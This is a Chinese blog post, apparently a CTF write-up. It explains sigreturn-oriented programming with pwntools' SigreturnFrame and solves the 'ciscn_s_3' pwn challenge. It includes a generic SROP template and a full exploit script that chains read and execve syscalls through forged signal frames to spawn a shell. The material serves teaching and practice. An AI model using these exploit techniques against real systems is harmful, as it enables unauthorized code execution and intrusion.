SROP–SigreturnFrame

概念

这里简单介绍下SROP的概念,主要是帮助读者理解和使用pwntools提供的SigreturnFrame工具实现漏洞利用。
  我们都知道ROP吧,即利用.text段中的gadgets,这些gadgets都以ret指令作为结尾,以此串联起来实现我们想要的系统调用进而达到获取目标主机shell的目的。那么如何判断是哪种系统调用呢?这里是根据寄存器的值来进行判断的,只要将相应的寄存器值设置为对应参数,然后执行syscall或者int 80指令就可以实现相应的函数功能。这里推荐一个实现系统调用如何设置寄存器对应参数的网站和一个具体的例子:设置寄存器实现execve系统调用的博客。
  好了,究其本质,ROP方法的思路都是通过gadgets设置寄存器的值来实现漏洞利用的,SROP也是从属于ROP方法中的一员。它利用了Linux系统信号处理过程中的漏洞,即在信号处理过程中会将用户态上下文环境及寄存器的值保存在用户态的栈中,处理完后再读取栈中的数据恢复寄存器的值。sigreturn系统调用就是处理完后那一阶段执行的系统调用,它会读取当前栈空间中的数据作为寄存器的值。因此这里我们利用栈溢出漏洞和sigreturn系统调用就可以实现SROP的攻击方法。首先利用栈溢出将返回地址设置为实现sigreturn系统调用的gadget,然后再将其后面的栈空间布置成我们想要设置的寄存器的值。待sigreturn系统调用执行完毕,此时的寄存器值,包括RSP/ESP和RIP/EIP都会被改变,所以SROP强大之处就是改变了所有的寄存器,这可以让我们实现任何想要的系统调用,但附带效果就是会改变栈顶指针RSP/ESP,有时候这并不是我们想要的。

SigreturnFrame的使用

使用SROP实现漏洞利用的思想也是比较简洁的,但是要在栈上构造所有寄存器的值,这个工程量比较大,好在可以使用pwntools中的SigreturnFrame类来简化我们的代码编写。具体操作如下面的代码所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

# 64位
# sigreturn 代表可以触发sigreturn调用的地址
# 其gadgets如下,只要使rax = 0xf,然后进行系统调用
"""
0x001 mov rax, 0Fh
0x002 syscall
0x003 ret
"""
sigreturn = 0x001
syscall = 0x002 # syscall gadget

context.arch = "amd64"
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh_addr # "/bin/sh\x00"
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

pad = padding + bytes(frame) # python3
p.send(pad)
p.interactive()

# 32位注意以下几个方面
# 1、上下文初始化
# context.arch = "i386"
# frame = SigreturnFrame(kernel="i386")
# 2、frame.eax = xx 注意寄存器的名字
# 3、syscall指令在32位下可以找int 80

一个例子

程序分析

该样本来自国赛的一道pwn题,老规矩checksec一下程序信息,只开启了NX保护。

checksec

程序本身也比较简单,main函数进去后就是vuln函数的调用,该函数截图如下所示,采用系统调用的方式实现了read和write函数,所以plt表中并没有read和write函数供我们使用。由于read读入的字节比较大,存在栈溢出漏洞,同时这里有write函数,可以泄露栈上的数据信息。

img

然后程序本身还提供了一些有用的gadgets片段,如下图所示,0x0f是sigreturn的系统调用号,0x3B是64位下的execve系统调用号,所以这道题有两种ROP的利用思路,第一种采用SROP,第二种即普通的ROP方法实现execve的系统调用获取shell。

gadgets

漏洞利用
  这里我们采用SROP的方法,通过sigreturn系统调用读取我们在栈上布置的数据,实现execve系统调用获取到shell。在实现过程中难点在于”/bin/sh\x00”字符串的构造问题,由于程序中并不存在该字符串,所以需要我们输入并存储在可以找到的位置上。
  我在网上看到大部分的解法是将该字符串存储到buf所在位置,然后利用程序中本身的write函数泄露出栈的位置,然后以此计算和buf的偏移得到bin字符串位置。这里write可以打印出0x30字节的栈信息,通过动态调试可以发现位于0x28的数据是指向栈上固定位置的,如下图所示,栈地址0x7fffffffe230对应的0x7fffffffe338是指向程序启动第一个参数argv[0]的固定地址,泄露出该地址后即可计算buf的偏移(buf在RSP-0x10的位置),以此我们可以得到bin字符串在栈上的位置。
buf

这里指向argv[0]的地址位置在程序每次运行时,地址会变但和buf的偏移不会变,所以可以用此方法找到bin字符串位置。但上面的这种做法在不同版本的libc中表现会不一样,即argv[0]和buf的偏移值在不同的libc中会不一样,这里读者可以尝试使用不同版本的ubuntu进行调试即可得出结论,所以在进行远程pwn时,本地调试的方法并不可靠,除非题目给了libc版本。
  因此在这里我采用的方法是先实现read函数的系统调用,读取bin字符串到程序中固定地址段上,比如bss段、prgend段等;但如果采用了sigreturn系统调用的方法,执行一次sigreturn后,RSP的值将会被改变,所以为了继续实现execve的系统调用,同时需要将RSP的值转移到我们伪造的栈地址上,这里选取紧接着bin字符串后面的地址即可。至此,我的利用思路也讲解完毕,详细细节看wp代码。

wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

p = process("./ciscn_s_3")
# 远程环境可以在BUUCTF上找到
#p = remote("node3.buuoj.cn", 25862)

syscall = 0x0400517
sigreturn = p64(0x04004DA)+p64(syscall)
sh = 0x0601038 # bin字符串地址

# 实现execve的系统调用
# 需要存储在伪造的栈地址位置
context.arch = "amd64"
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
stack_frame = b"/bin/sh\x00"+sigreturn+bytes(frame)

# 实现read的系统调用
# 读取包括bin字符串和伪造的栈数据
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = sh
frame.rdx = len(stack_frame)
frame.rip = syscall
frame.rsp = sh+8 # 设置栈顶指针位置

pad = cyclic(0x10)
pad += sigreturn + bytes(frame)

# 先发送实现read系统调用的pad
p.send(pad)
# read读取stack_frame
# 然后ret到伪造的栈上执行execve系统调用
p.send(stack_frame)

p.interactive()

————————————————
版权声明:本文为CSDN博主「__lifanxin」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/A951860555/article/details/115205281